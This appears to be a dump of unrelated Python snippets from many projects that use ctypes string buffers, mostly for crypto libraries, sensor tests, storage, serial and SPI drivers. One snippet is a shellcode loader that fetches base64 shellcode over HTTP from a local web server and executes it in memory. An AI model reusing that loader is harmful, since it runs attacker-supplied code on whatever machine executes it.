def crypto_box_detached(msg, nonce, pk, sk): if None in (msg, nonce, pk, sk): raise ValueError("invalid parameters") c = ctypes.create_string_buffer(len(msg)) mac = ctypes.create_string_buffer(crypto_box_MACBYTES) __check(sodium.crypto_box_detached(c, mac, msg.encode(), ctypes.c_ulonglong(len(msg)), nonce, pk, sk)) return c.raw, mac.raw
def test_set_standby(self): command= create_string_buffer(4) expected= create_string_buffer(b'\x12\x03\x0c\x60', 4) metawear_lib.mbl_mw_baro_bmp280_set_standby_time(self.config, BaroBmp280Standby.STANDBY_250MS) metawear_lib.mbl_mw_baro_bmp280_write_config(command, self.config) self.assertEqual(command.raw, expected.raw)
def test_set_oversampling(self): command= create_string_buffer(4) expected= create_string_buffer(b'\x12\x03\x14\x00', 4) metawear_lib.mbl_mw_baro_bmp280_set_oversampling(self.config, BaroBmp280Oversampling.ULTRA_HIGH) metawear_lib.mbl_mw_baro_bmp280_write_config(command, self.config) self.assertEqual(command.raw, expected.raw)
def parent_info(self): """ Get information about a cloned image's parent (if any) :returns: tuple - ``(pool name, image name, snapshot name)`` components of the parent image :raises: :class:`ImageNotFound` if the image doesn't have a parent """ ret = -errno.ERANGE size = 8 while ret == -errno.ERANGE and size <= 4096: pool = create_string_buffer(size) name = create_string_buffer(size) snapname = create_string_buffer(size) ret = self.librbd.rbd_get_parent_info(self.image, byref(pool), c_size_t(size), byref(name), c_size_t(size), byref(snapname), c_size_t(size)) if ret == -errno.ERANGE: size *= 2 if ret != 0: raise make_ex(ret, 'error getting parent info for image %s' % (self.name,)) return (pool.value, name.value, snapname.value)
def test_set_filter(self): command= create_string_buffer(4) expected= create_string_buffer(b'\x12\x03\x0c\x08', 4) metawear_lib.mbl_mw_baro_bmp280_set_iir_filter(self.config, BaroBmp280IirFilter.AVG_4) metawear_lib.mbl_mw_baro_bmp280_write_config(command, self.config) self.assertEqual(command.raw, expected.raw)
def __init__(self, device, snaplen, promisc, to_ms): self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE) self.iface = create_string_buffer(device) self.pcap = pcap_open_live(self.iface, snaplen, promisc, to_ms, self.errbuf) self.header = POINTER(pcap_pkthdr)() self.pkt_data = POINTER(c_ubyte)() self.bpf_program = bpf_program()
def create_key(self, password, salt=None): ''' Create a key and IV for a given password. If the salt is given, it is used. Otherwise a new random salt is created. Returns key, salt, iv @param pw: @param salt: ''' if salt != None and len(salt) != 8: raise CipherError("Invalid salt, must be None or length 8") # add the hash evp.OpenSSL_add_all_digests() # build the key buffer key = ctypes.create_string_buffer(32) iv = ctypes.create_string_buffer(16) # either take the existing salt or build a new one if not salt: salt = os.urandom(8) # get the hash evp_hash = evp.EVP_get_digestbyname("sha256") if not evp_hash: raise CipherError("Could not create hash object") # fill the key if not evp.EVP_BytesToKey(evp.EVP_aes_256_cbc(), evp_hash, salt, password, len(password), 1, key, iv): raise CipherError("Could not strengthen key") # go home return key.raw, salt, iv
def run(self): """ All the real work happens herein; we can be called in one of three situations, determined by environment variables. First couple are during the agent Install process, where the domain.h and namespace files need to be created. The third case is the real mccoy, where an agent is actually being started by pmcd/dbpmda and makes use of libpcp_pmda to talk PCP protocol. """ if ('PCP_PYTHON_DOMAIN' in os.environ): self.domain_write() elif ('PCP_PYTHON_PMNS' in os.environ): self.pmns_write(os.environ['PCP_PYTHON_PMNS']) else: self.pmns_refresh() cpmda.pmid_oneline_refresh(self._metric_oneline) cpmda.pmid_longtext_refresh(self._metric_helptext) cpmda.indom_oneline_refresh(self._indom_oneline) cpmda.indom_longtext_refresh(self._indom_helptext) numindoms = len(self._indomtable) ibuf = create_string_buffer(numindoms * sizeof(pmdaIndom)) indoms = cast(ibuf, POINTER(pmdaIndom)) for i in xrange(numindoms): indoms[i] = self._indomtable[i] nummetrics = len(self._metrictable) mbuf = create_string_buffer(nummetrics * sizeof(pmdaMetric)) metrics = cast(mbuf, POINTER(pmdaMetric)) for i in xrange(nummetrics): metrics[i] = self._metrictable[i] cpmda.pmda_dispatch(ibuf.raw, numindoms, mbuf.raw, nummetrics)
def poll(): db = dbal.DBAL() print "getting sensors" protocollength = 20 modellength = 20 valuelength = 20 protocol = create_string_buffer(protocollength) model = create_string_buffer(modellength) idvalue = c_int() dataTypes = c_int() while(lib.tdSensor(protocol, protocollength, model, modellength, byref(idvalue), byref(dataTypes)) == 0): print "Sensor: ", protocol.value, model.value, "id:", idvalue.value value = create_string_buffer(valuelength) timestampvalue = c_int() if((dataTypes.value & TELLSTICK_TEMPERATURE) != 0): success = lib.tdSensorValue(protocol.value, model.value, idvalue.value, TELLSTICK_TEMPERATURE, value, valuelength, byref(timestampvalue)) print "Temperature: ", value.value, "C,", datetime.fromtimestamp(timestampvalue.value) if db.get_device(int(idvalue.value)) is not None: db.insert_sensor_data(int(idvalue.value), value.value) if((dataTypes.value & TELLSTICK_HUMIDITY) != 0): success = lib.tdSensorValue(protocol.value, model.value, idvalue.value, TELLSTICK_HUMIDITY, value, valuelength, byref(timestampvalue)) print "Humidity: ", value.value, "%,", datetime.fromtimestamp(timestampvalue.value) print " "
def update_bar(self): if self._bar: self._bar.clear() self._bar.add_var('export name',self.rec_name) self._bar.add_var('start frame',self.start_frame) self._bar.add_var('end frame',self.end_frame) self._bar.add_button('new export',self.add_export) for job,i in zip(self.exports,range(len(self.exports))): self._bar.add_var("%s_out_file"%i,create_string_buffer(512), getter= self.atb_out_file_path, data = self.exports[i], label='file location:', group=str(i), ) self._bar.add_var("%s_progess"%i,create_string_buffer(512), getter= self.atb_progress, data = self.exports[i], label='progess', group=str(i), ) self._bar.add_var("%s_terminate"%i,job.should_terminate,group=str(i),label='cancel')
def sendJoinRoomRequestOIE(self,roomName): self.RoomName=roomName # il y'avait self.thisRoomName??? ack_num=0 res=0 ack=0 if (roomName!=ROOM_IDS.MAIN_ROOM): self.userStatus=userStatus['waitingfMovieRoomUserList'] self.typemsgenvoye="6" typeMsg=6 msgLength=14 Movie=self.MovieStore.getMovieByTitle(roomName) print Movie.movieTitle IpAdressMovie=Movie.movieIpAddress print IpAdressMovie MoviePort=Movie.moviePort buf=ctypes.create_string_buffer(14) header=(typeMsg<<28)|(ack<<27)|(res<<26)|(ack_num<<13)|(self.seq_num) Tab=IpAdressMovie.split('.') print Tab struct.pack_into(">LHHBBBBH", buf,0,header,msgLength,self.userId,int(Tab[0]),int(Tab[1]),int(Tab[2]),int(Tab[3]),MoviePort) self.EnvoiMsg(buf) else: typeMsg=7 self.userStatus=userStatus['waitingMainRoom'] self.typemsgenvoye="7" msgLength=8 buf=ctypes.create_string_buffer(8) header=(typeMsg<<28)|(ack<<27)|(res<<26)|(ack_num<<13)|(self.seq_num) struct.pack_into(">LHH", buf,0,header,msgLength,self.userId) self.EnvoiMsg(buf) print "Request join movie room envoyé"
def commandLogger(self, command, length): self.command= [] for i in range(0, length): self.command.append(command[i]) if (command[1] == 0x80): if (self.boardType == TestMetaWearBase.METAWEAR_RG_BOARD and command[0] in self.metawear_rg_services): service_response= self.metawear_rg_services[command[0]] self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, service_response.raw, len(service_response)) elif (self.boardType == TestMetaWearBase.METAWEAR_R_BOARD and command[0] in self.metawear_r_services): service_response= self.metawear_r_services[command[0]] self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, service_response.raw, len(service_response)) elif (self.boardType == TestMetaWearBase.METAWEAR_RPRO_BOARD and command[0] in self.metawear_rpro_services): service_response= self.metawear_rpro_services[command[0]] self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, service_response.raw, len(service_response)) else: # ignore module discovey commands self.command_history.append(self.command) if (command[0] == 0xc and command[1] == 0x2): response= create_string_buffer(b'\x0c\x02', 3) response[2]= self.timerId self.timerId+= 1 self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, response.raw, len(response.raw)) elif (command[0] == 0xa and command[1] == 0x3): response= create_string_buffer(b'\x0a\x02', 3) response[2]= self.eventId self.eventId+= 1 self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, response.raw, len(response.raw)) elif (command[0] == 0x9 and command[1] == 0x2): response= create_string_buffer(b'\x09\x02', 3) response[2]= self.dataprocId self.dataprocId+= 1 self.libmetawear.mbl_mw_metawearboard_handle_response(self.board, response.raw, len(response.raw))
def read(self, size=1): """Read size bytes from the serial port. If a timeout is set it may return less characters as requested. With no timeout it will block until the requested number of bytes is read.""" if not self.hComPort: raise portNotOpenError if size > 0: win32.ResetEvent(self._overlappedRead.hEvent) flags = win32.DWORD() comstat = win32.COMSTAT() if not win32.ClearCommError(self.hComPort, ctypes.byref(flags), ctypes.byref(comstat)): raise SerialException('call to ClearCommError failed') if self.timeout == 0: n = min(comstat.cbInQue, size) if n > 0: buf = ctypes.create_string_buffer(n) rc = win32.DWORD() err = win32.ReadFile(self.hComPort, buf, n, ctypes.byref(rc), ctypes.byref(self._overlappedRead)) if not err and win32.GetLastError() != win32.ERROR_IO_PENDING: raise SerialException("ReadFile failed (%s)" % ctypes.WinError()) err = win32.WaitForSingleObject(self._overlappedRead.hEvent, win32.INFINITE) read = buf.raw[:rc.value] else: read = bytes() else: buf = ctypes.create_string_buffer(size) rc = win32.DWORD() err = win32.ReadFile(self.hComPort, buf, size, ctypes.byref(rc), ctypes.byref(self._overlappedRead)) if not err and win32.GetLastError() != win32.ERROR_IO_PENDING: raise SerialException("ReadFile failed (%s)" % ctypes.WinError()) err = win32.GetOverlappedResult(self.hComPort, ctypes.byref(self._overlappedRead), ctypes.byref(rc), True) read = buf.raw[:rc.value] else: read = bytes() return bytes(read)
def ne2001_get_smtau(dist, gl, gb): """Use NE2001 model to get the DISS scattering timescale""" dist = C.c_float(dist) # gl gb need to be in radians gl = C.c_float(math.radians(gl)) gb = C.c_float(math.radians(gb)) #call dmdsm and get the value out of smtau ndir = C.c_int(-1) sm = C.c_float(0.) smtau = C.c_float(0.) inpath = C.create_string_buffer(fortranpath) linpath = C.c_int(len(fortranpath)) ne2001lib.dmdsm_(C.byref(gl), C.byref(gb), C.byref(ndir), C.byref(C.c_float(0.0)), C.byref(dist), C.byref(C.create_string_buffer(' ')), C.byref(sm), C.byref(smtau), C.byref(C.c_float(0.0)), C.byref(C.c_float(0.0)), C.byref(inpath), C.byref(linpath) ) return sm.value, smtau.value
def aead_encrypt(self, data): """ Encrypt data with authenticate tag :param data: plain text :return: cipher text with tag """ global buf_size, buf plen = len(data) if buf_size < plen + self._tlen: buf_size = (plen + self._tlen) * 2 buf = create_string_buffer(buf_size) cipher_out_len = c_size_t(0) tag_buf = create_string_buffer(self._tlen) r = libmbedtls.mbedtls_cipher_auth_encrypt( byref(self._ctx), c_char_p(self._nonce.raw), c_size_t(self._nlen), None, c_size_t(0), c_char_p(data), c_size_t(plen), byref(buf), byref(cipher_out_len), byref(tag_buf), c_size_t(self._tlen) ) assert cipher_out_len.value == plen if r: raise Exception('AEAD encrypt failed {0:#x}'.format(r)) self.cipher_ctx_init() return buf.raw[:cipher_out_len.value] + tag_buf.raw[:self._tlen]
def get_characterset_name(self, attribute, override_value): """Retrieve and store the IANA character set name for the attribute.""" # if override value specified, use it if override_value: return override_value # get character set id c_charset_id = oci.ub2() # not using pythonic OCIAttrGet on purpose here. status = oci.OCIAttrGet(self.handle, oci.OCI_HTYPE_ENV, byref(c_charset_id), None, attribute, self.error_handle) self.check_for_error(status, "Environment_GetCharacterSetName(): get charset id") # get character set name c_charset_name_array = ctypes.create_string_buffer(oci.OCI_NLS_MAXBUFSZ) c_charset_name_pointer = ctypes.cast(c_charset_name_array, oci.OCINlsCharSetIdToName.argtypes[1]) status = oci.OCINlsCharSetIdToName(self.handle, c_charset_name_pointer, oci.OCI_NLS_MAXBUFSZ, c_charset_id) self.check_for_error(status, "Environment_GetCharacterSetName(): get Oracle charset name") # get IANA character set name c_iana_charset_name_array = ctypes.create_string_buffer(oci.OCI_NLS_MAXBUFSZ) c_iana_charset_name_pointer = ctypes.cast(c_iana_charset_name_array, oci.OCINlsNameMap.argtypes[1]) status = oci.OCINlsNameMap(self.handle, c_iana_charset_name_pointer, oci.OCI_NLS_MAXBUFSZ, c_charset_name_pointer, oci.OCI_NLS_CS_ORA_TO_IANA) self.check_for_error(status, "Environment_GetCharacterSetName(): translate NLS charset") return c_iana_charset_name_array.value
def __init__(self, messageBuffer=None, id=None, size=None): doInit = 0 if messageBuffer == None: doInit = 1 messageBuffer = ctypes.create_string_buffer(Messaging.hdrSize + size) else: try: messageBuffer.raw except AttributeError: newbuf = ctypes.create_string_buffer(len(messageBuffer)) for i in range(0, len(messageBuffer)): newbuf[i] = bytes(messageBuffer)[i] messageBuffer = newbuf # this is a trick to get us to store a copy of a pointer to a buffer, rather than making a copy of the buffer self.msg_buffer_wrapper = { "msg_buffer": messageBuffer } # this is a trick to allow the creation of fake fields that aren't actually in a message, # but that we want to act like fields of the message self.fake_fields = {} self.hdr = Messaging.hdr(messageBuffer) if doInit: self.hdr.SetMessageID(id) self.hdr.SetDataLength(size)
def get_varnames(filter='*', vartype=0): ''' This function returns variable names in the model a filter can be specified in the same way as Vensim variable Selection filter (use * for all), vartype is an integer that specifies the types of variables you want to see. (see DSS reference chapter 12 for details) Parameters ---------- filter : str selection filter, use \* for all. vartype : int variable type to retrieve. See table Returns ------- a list with the variable names Notes ----- ====== ============= number meaning ====== ============= 0 all 1 levels 2 auxiliaries 3 data 4 initial 5 constant 6 lookup 7 group 8 subscript 9 constraint 10 test input 11 time base 12 gaming ====== ============= ''' filter = ctypes.c_char_p(filter) vartype = ctypes.c_int(vartype) buf = ctypes.create_string_buffer("", 512) maxBuf = ctypes.c_int(512) a = vensim.vensim_get_varnames(filter, vartype, buf, maxBuf) buf = ctypes.create_string_buffer("", int(a)) maxBuf = ctypes.c_int(int(a)) vensim.vensim_get_varnames(filter, vartype, buf, maxBuf) varnames = repr(buf.raw) varnames = varnames.strip() varnames = varnames.rstrip("'") varnames = varnames.lstrip("'") varnames = varnames.split(r"\x00") varnames = [varname for varname in varnames if len(varname) != 0] return varnames
def transaction(self, bytes_to_send): """Sends bytes via the SPI bus. :param bytes_to_send: The bytes to send on the SPI device. :type bytes_to_send: bytes :returns: bytes -- returned bytes from SPI device :raises: InitError """ bytes_to_send = _pybytes(bytes_to_send) # make some buffer space to store reading/writing wbuffer = ctypes.create_string_buffer(bytes_to_send, len(bytes_to_send)) rbuffer = ctypes.create_string_buffer(len(bytes_to_send)) # create the spi transfer struct transfer = spi_ioc_transfer( tx_buf=ctypes.addressof(wbuffer), rx_buf=ctypes.addressof(rbuffer), len=ctypes.sizeof(wbuffer)) if self.spi_transaction_callback is not None: self.spi_transaction_callback(bytes_to_send) # send the spi command ioctl(self.fd, SPI_IOC_MESSAGE(1), transfer) return _pyord(ctypes.string_at(rbuffer, ctypes.sizeof(rbuffer)))
def list_children(self): """ List children of the currently set snapshot (set via set_snap()). :returns: list - a list of (pool name, image name) tuples """ pools_size = c_size_t(512) images_size = c_size_t(512) while True: c_pools = create_string_buffer(pools_size.value) c_images = create_string_buffer(images_size.value) ret = self.librbd.rbd_list_children(self.image, byref(c_pools), byref(pools_size), byref(c_images), byref(images_size)) if ret >= 0: break elif ret != -errno.ERANGE: raise make_ex(ret, 'error listing images') if ret == 0: return [] pools = c_pools.raw[:pools_size.value - 1].split('\0') images = c_images.raw[:images_size.value - 1].split('\0') return zip(pools, images)
def get_info(infowanted): ''' Use this function to get information about vensim, for details see DSS reference chapter 12 Parameters ---------- infowanted : int field that specifies the info wanted ''' buf = ctypes.create_string_buffer("", 512) maxBuf = ctypes.c_int(512) a = vensim.vensim_get_info(infowanted, buf, maxBuf) buf = ctypes.create_string_buffer("", int(a)) maxBuf = ctypes.c_int(int(a)) vensim.vensim_get_info(infowanted, buf, maxBuf) result = repr(buf.raw) result = result.strip() result = result.rstrip("'") result = result.lstrip("'") result = result.split(r"\x00") result = result[0:-2] return result
def getMat(self): hdc = win32gui.GetWindowDC(self.hwnd) dc_obj = win32ui.CreateDCFromHandle(hdc) memorydc = dc_obj.CreateCompatibleDC() data_bitmap = win32ui.CreateBitmap() data_bitmap.CreateCompatibleBitmap(dc_obj, self.width, self.height) memorydc.SelectObject(data_bitmap) memorydc.BitBlt((0, 0), (self.width, self.height), dc_obj, (self.dx, self.dy), win32con.SRCCOPY) bmpheader = struct.pack("LHHHH", struct.calcsize("LHHHH"), self.width, self.height, 1, 24) c_bmpheader = ctypes.create_string_buffer(bmpheader) # padded_length = (string_length + 3) & -3 for 4-byte aligned. c_bits = ctypes.create_string_buffer(" " * (self.width * ((self.height * 3 + 3) & -3))) res = ctypes.windll.gdi32.GetDIBits(memorydc.GetSafeHdc(), data_bitmap.GetHandle(), 0, self.height, c_bits, c_bmpheader, win32con.DIB_RGB_COLORS) win32gui.DeleteDC(hdc) win32gui.ReleaseDC(self.hwnd, hdc) memorydc.DeleteDC() win32gui.DeleteObject(data_bitmap.GetHandle()) cv_im = cv.CreateImageHeader((self.width, self.height), cv.IPL_DEPTH_8U, 3) cv.SetData(cv_im, c_bits.raw) # flip around x-axis cv.Flip(cv_im, None, 0) mat = cv.GetMat(cv_im) return numpy.asarray(mat)
def ecdsa_sign(private_key, hash): k = ssl_library.EC_KEY_new_by_curve_name(NID_secp256k1) storage = ctypes.create_string_buffer(private_key) bignum_private_key = ssl_library.BN_new() ssl_library.BN_bin2bn(storage, 32, bignum_private_key) group = ssl_library.EC_KEY_get0_group(k) point = ssl_library.EC_POINT_new(group) ssl_library.EC_POINT_mul(group, point, bignum_private_key, None, None, None) ssl_library.EC_KEY_set_private_key(k, bignum_private_key) ssl_library.EC_KEY_set_public_key(k, point) assert isinstance(hash, bytes) dgst = ctypes.cast((ctypes.c_ubyte*len(hash))(*[int(x) for x in hash]), ctypes.POINTER(ctypes.c_ubyte)) siglen = ctypes.c_int(ssl_library.ECDSA_size(k)) signature = ctypes.create_string_buffer(siglen.value) if ssl_library.ECDSA_sign(0, dgst, len(hash), signature, ctypes.byref(siglen), k) == 0: raise Exception("Failed to sign signature") signature = signature.raw[:siglen.value] ssl_library.EC_POINT_free(point) ssl_library.BN_free(bignum_private_key) ssl_library.EC_KEY_free(k) return signature
def transfer(self, data, speed=0, bits_per_word=0, delay=0): """Perform full-duplex Spi transfer Args: data: List of words to transmit speed: Optional temporary bitrate override in Hz. 0 (default) uses existing spidev speed setting. bits_per_word: Optional temporary bits_per_word override. 0 (default) will use the current bits_per_word setting. delay: Optional delay in usecs between sending the last bit and deselecting the chip select line. 0 (default) for no delay. Returns: List of words read from Spi bus during transfer """ data = array.array('B', data).tostring() length = len(data) transmit_buffer = ctypes.create_string_buffer(data) receive_buffer = ctypes.create_string_buffer(length) spi_ioc_transfer = struct.pack(Spi._IOC_TRANSFER_FORMAT, ctypes.addressof(transmit_buffer), ctypes.addressof(receive_buffer), length, speed, delay, bits_per_word, 0, 0, 0, 0) fcntl.ioctl(self.handle, Spi._IOC_MESSAGE, spi_ioc_transfer) return [ord(byte) for byte in ctypes.string_at(receive_buffer, length)]
def setproctitle(title): ''' Set process title @param title:str The title of the process ''' import ctypes try: # Remove path, keep only the file, # otherwise we get really bad effects, namely # the name title is truncates by the number # of slashes in the title. At least that is # the observed behaviour when using procps-ng. title = title.split('/')[-1] # Create strng buffer with title title = title.encode(sys.getdefaultencoding(), 'replace') title = ctypes.create_string_buffer(title) if 'linux' in sys.platform: # Set process title on Linux libc = ctypes.cdll.LoadLibrary('libc.so.6') libc.prctl(15, ctypes.byref(title), 0, 0, 0) elif 'bsd' in sys.platform: # Set process title on at least FreeBSD libc = ctypes.cdll.LoadLibrary('libc.so.7') libc.setproctitle(ctypes.create_string_buffer(b'-%s'), title) except: pass
def read_fragment(self, key, namespace, offset=0, count=1): """Fragmented version of read function for large blobs :param key: The blob key to be read. :type key: str. :param namespace: The blob namespace to read the key from. :type namespace: str. :param offset: The data offset for the current fragmented read. :type key: int. :param count: The data count for the current fragmented read. :type namespace: int. """ lib = self.getHprestChifHandle() lib.read_fragment.argtypes = [c_uint, c_uint, c_char_p, c_char_p] lib.read_fragment.restype = POINTER(c_ubyte) name = create_string_buffer(key) namespace = create_string_buffer(namespace) ptr = lib.read_fragment(offset, count, name, namespace) data = ptr[:lib.size_of_readRequest()] data = bytearray(data) resp = self._send_receive_raw(data, lib.size_of_readResponse()) if len(resp) < lib.size_of_responseHeader(): raise Blob2ReadError("read fragment response smaller than expected") resp = resp + "\0" * (lib.size_of_readResponse() - len(resp)) return resp
def create_binary_buffer(string_or_len): # Prevent ctypes from adding a trailing null char. if isinstance(string_or_len, basestring): result = create_string_buffer(string_or_len, len(string_or_len)) else: result = create_string_buffer(string_or_len) return result
def wl_ioctl(cmd, buff=''): req = apple80211req() req.ifname = "en0\0" req.req_type = APPLE80211_IOC_CARD_SPECIFIC req.req_val = cmd if len(buff) != 0: # TODO: create_string agrega '\0'. buff = ctypes.create_string_buffer(buff) req.req_data = ctypes.cast(buff, ctypes.c_void_p) req.req_len = len(buff) - 1 else: buff = ctypes.create_string_buffer(4) req.req_data = ctypes.cast(buff, ctypes.c_void_p) req.req_len = 4 libSystem = ctypes.cdll.LoadLibrary("/usr/lib/libSystem.B.dylib") s = socket.socket() if libSystem.ioctl(s.fileno(), SIOCSA80211, ctypes.byref(req)) != 0: libSystem.__error.restype = ctypes.POINTER(ctypes.c_int) libSystem.strerror.restype = ctypes.c_char_p errno = libSystem.__error().contents.value raise Exception("ioctl error: %s" % libSystem.strerror(errno)) s.close() return ''.join(x for x in buff)
def open_all_devices(existing=None): dev = POINTER(ykneomgr_dev)() check(ykneomgr_init(byref(dev))) size = c_size_t() check(ykneomgr_list_devices(dev, None, byref(size))) devlist = create_string_buffer(size.value) check(ykneomgr_list_devices(dev, devlist, byref(size))) names = devlist.raw.strip('\0').split('\0') devices = [] for d in existing or []: if getattr(d, '_dev_str', None) in names: if d._broken: d.close() else: devices.append(d) names.remove(d._dev_str) for name in names: if not dev: dev = POINTER(ykneomgr_dev)() check(ykneomgr_init(byref(dev))) if ykneomgr_connect(dev, create_string_buffer(name)) == 0: devices.append(create_device(dev, name)) dev = None if dev: ykneomgr_done(dev) return devices
def run(self, board): gbbo_fmt = lang.board.formats.AvailableFormats['gbbo']() # generate buffer for the board, with the board data board_str = gbbo_fmt.to_string(board) buf = ctypes.create_string_buffer(board_str) arch = instruction_set() # generate result buffer for the return values resbuf_len = max(arch.Word_size * self._nretvals, arch.THROW_ERROR_Max_err_len) resbuf = ctypes.create_string_buffer(resbuf_len * '\xff') # run native function over the buffers res = self._f(buf, resbuf) if res == 0: # if result is ok, retrieve the resulting board and # build the list of return values gbbo_fmt.from_string(board, buf.raw) ws = arch.Word_size varnames = self._jit.main_varnames() retvals = [] assert len(varnames) == self._nretvals for i in range(self._nretvals): vn = lang.gbs_builtins.polyname_name(varnames[i]) vt = lang.gbs_builtins.polyname_types(varnames[i])[0] retvals.append((vn, arch.decode_literal(vt, resbuf[ws * i:ws * i + ws]))) return retvals elif res == arch.THROW_ERROR_Errcode: msg = resbuf.raw.split('\0')[0] raise GbsJitRuntimeException(msg, lang.bnf_parser.fake_bof()) else: assert False
def _get_param_attr(self, index, opcode): # It should be VstStringConstants.kVstMaxParamStrLen == 8 but I've encountered some VST # with more that would segfault. buf = create_string_buffer(64) self._dispatch(opcode, index=index, ptr=byref(buf)) return string_at(buf).decode()
import urllib2 import ctypes import base64 # retrieve the shellcode from our web server url = "http://localhost:8000/shellcode.bin" response = urllib2.urlopen(url) # decode the shellcode from base64 shellcode = base64.b64decode(response.read()) # create a buffer in memory shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) # create a function pointer to our shellcode shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE¬ (ctypes.c_void_p)) # call our shellcode shellcode_func()
def handle(self): def hs(): data = self.request[0].strip() if (int(data.decode()[8:11]) == 101): MyUDPHandler.Acks.threads[2] = False print("FIN/ACK") LOG.write("RECV <{}> <{}> [ACK][][FIN]\n".format( int(data.decode()[0:3]), int(data.decode()[4:7]))) return if (int(data.decode()[0:3]) == MyUDPHandler.Acks.threads[3]): LOG.write("RECV <{}> <{}> [ACK][][]\n".format( int(data.decode()[0:3]), int(data.decode()[4:7]))) MyUDPHandler.Acks.threads[3] += 1 MyUDPHandler.Acks.threads[1] += 1 d = struct.Struct('4s 4s 4s 512s') b = ctypes.create_string_buffer(d.size) d.pack_into( b, 0, bytes(str(int(MyUDPHandler.Acks.threads[1])), "utf-8"), bytes(str(int(MyUDPHandler.Acks.threads[3])), "utf-8"), b"000", bytes(fsave[(MyUDPHandler.Acks.threads[6]) * 512:(1 + MyUDPHandler.Acks.threads[6]) * 512])) MyUDPHandler.Acks.threads[6] += 1 socket = self.request[1] if (MyUDPHandler.Acks.threads[1] < MyUDPHandler.Acks.threads[5] - 1): LOG.write("SEND <{}> <{}> [ACK][][]\n\n".format( MyUDPHandler.Acks.threads[1], MyUDPHandler.Acks.threads[3])) socket.sendto(b, self.client_address) elif (MyUDPHandler.Acks.threads[1] == MyUDPHandler.Acks.threads[5] - 1): b[8:11] = b"111" print( "File complete,{} segments sending FIN, ACK={}".format( ff, MyUDPHandler.Acks.threads[3])) LOG.write("SEND <{}> <{}> [ACK][][FIN]\n\n".format( MyUDPHandler.Acks.threads[1], MyUDPHandler.Acks.threads[3])) socket.sendto(b, self.client_address) else: #RESEND HERE SAME ACK AND SEQUENCE WITHOUT INC d = struct.Struct('4s 4s 4s 512s') b = ctypes.create_string_buffer(d.size) d.pack_into( b, 0, bytes(str(int(MyUDPHandler.Acks.threads[1])), "utf-8"), bytes(str(int(MyUDPHandler.Acks.threads[3])), "utf-8"), b"000", bytes(fsave[MyUDPHandler.Acks.threads[6] * 512:(1 + MyUDPHandler.Acks.threads[6]) * 512])) socket = self.request[1] LOG.write("SEND <{}> <{}> [ACK][][]\n\n".format( MyUDPHandler.Acks.threads[1], MyUDPHandler.Acks.threads[3])) socket.sendto(b, self.client_address) def settinghandshake(): data = self.request[0].strip() if (int(data.decode()[0:3]) == MyUDPHandler.Acks.threads[3]): LOG.write("RECV <{}> <{}> [ACK][][]\n".format( int(data.decode()[0:3]), int(data.decode()[4:7]))) MyUDPHandler.Acks.threads[4] = False MyUDPHandler.Acks.threads[2] = True MyUDPHandler.Acks.threads[3] += 1 MyUDPHandler.Acks.threads[1] += 1 MyUDPHandler.Acks.threads.append( ff + MyUDPHandler.Acks.threads[1]) #5 print( "Handshake Complete, Sending {} as ACK and {} as Sequence". format(MyUDPHandler.Acks.threads[3], MyUDPHandler.Acks.threads[1])) d = struct.Struct('4s 4s 4s 512s') b = ctypes.create_string_buffer(d.size) d.pack_into( b, 0, bytes(str(int(MyUDPHandler.Acks.threads[1])), "utf-8"), bytes(str(int(MyUDPHandler.Acks.threads[3])), "utf-8"), b"000", bytes(fsave[0:512])) MyUDPHandler.Acks.threads.append(1) #6 socket = self.request[1] LOG.write("SEND <{}> <{}> [ACK][][]\n\n".format( MyUDPHandler.Acks.threads[1], MyUDPHandler.Acks.threads[3])) socket.sendto(b, self.client_address) else: d = struct.Struct('4s 4s 4s') d.pack_into(b, 0, bytes(str(MyUDPHandler.Acks.threads[1]), "utf-8"), bytes(str(MyUDPHandler.Acks.threads[3]), "utf-8"), b"000") LOG.write("RECV <{}> <{}> [ACK][][]\n".format( int(data.decode()[0:3]), int(data.decode()[4:7]))) LOG.write("RETRAN <{}> <{}> [ACK][][]\n\n".format( MyUDPHandler.Acks.threads[1], MyUDPHandler.Acks.threads[3])) socket.sendto(b, self.client_address) MyUDPHandler.Acks.threads[4] = True for i in MyUDPHandler.Acks.threads: if self.client_address[0] == i: if (MyUDPHandler.Acks.threads[2] == True): hs() return elif (MyUDPHandler.Acks.threads[4] == True): settinghandshake() return MyUDPHandler.Acks.threads.append(self.client_address[0]) #address MyUDPHandler.Acks.threads.append(1000) #sequence MyUDPHandler.Acks.threads.append(False) #handshakedone data = self.request[0].strip() LOG.write("RECV <{}> <{}> [][SYN][]\n".format(int(data.decode()[0:3]), 0)) MyUDPHandler.Acks.threads.append(int(data.decode()[0:3]) + 1) #ACK flags = (str(data.decode()[4:12])) socket = self.request[1] d = struct.Struct('4s 4s 4s') b = ctypes.create_string_buffer(d.size) d.pack_into(b, 0, bytes(str(MyUDPHandler.Acks.threads[1]), "utf-8"), bytes(str(MyUDPHandler.Acks.threads[3]), "utf-8"), b"2") MyUDPHandler.Acks.threads.append(True) #settinghandshake LOG.write("SEND <{}> <{}> [ACK][SYN][]\n\n".format( MyUDPHandler.Acks.threads[1], MyUDPHandler.Acks.threads[3])) socket.sendto(b, self.client_address)
handle = ctypes.c_int() error = ctypes.c_int() resolution = ctypes.c_int() sample = ctypes.c_int() # Open Remote I/O Protocol Server libremoteio.open_serial('COM1'.encode(), 115200, 1000, ctypes.byref(handle), ctypes.byref(error)) if error.value != 0: print('ERROR: open_serial() failed, error=' + str(error.value)) quit() # Display version information vers = ctypes.create_string_buffer(64) libremoteio.get_version(handle, vers, ctypes.byref(error)) if error.value != 0: print('ERROR: get_version() failed, error=' + str(error.value)) quit() print(vers.raw.decode()) # Display capabilities caps = ctypes.create_string_buffer(64) libremoteio.get_capability(handle, caps, ctypes.byref(error))
def __init__(self) -> None: self.lib = c.cdll.LoadLibrary(fname) self.flash_size = c.cast(self.lib.FLASH_SIZE, c.POINTER(c.c_uint32))[0] self.flash_buffer = c.create_string_buffer(self.flash_size) c.cast(self.lib.FLASH_BUFFER, c.POINTER(c.c_void_p))[0] = c.addressof(self.flash_buffer)
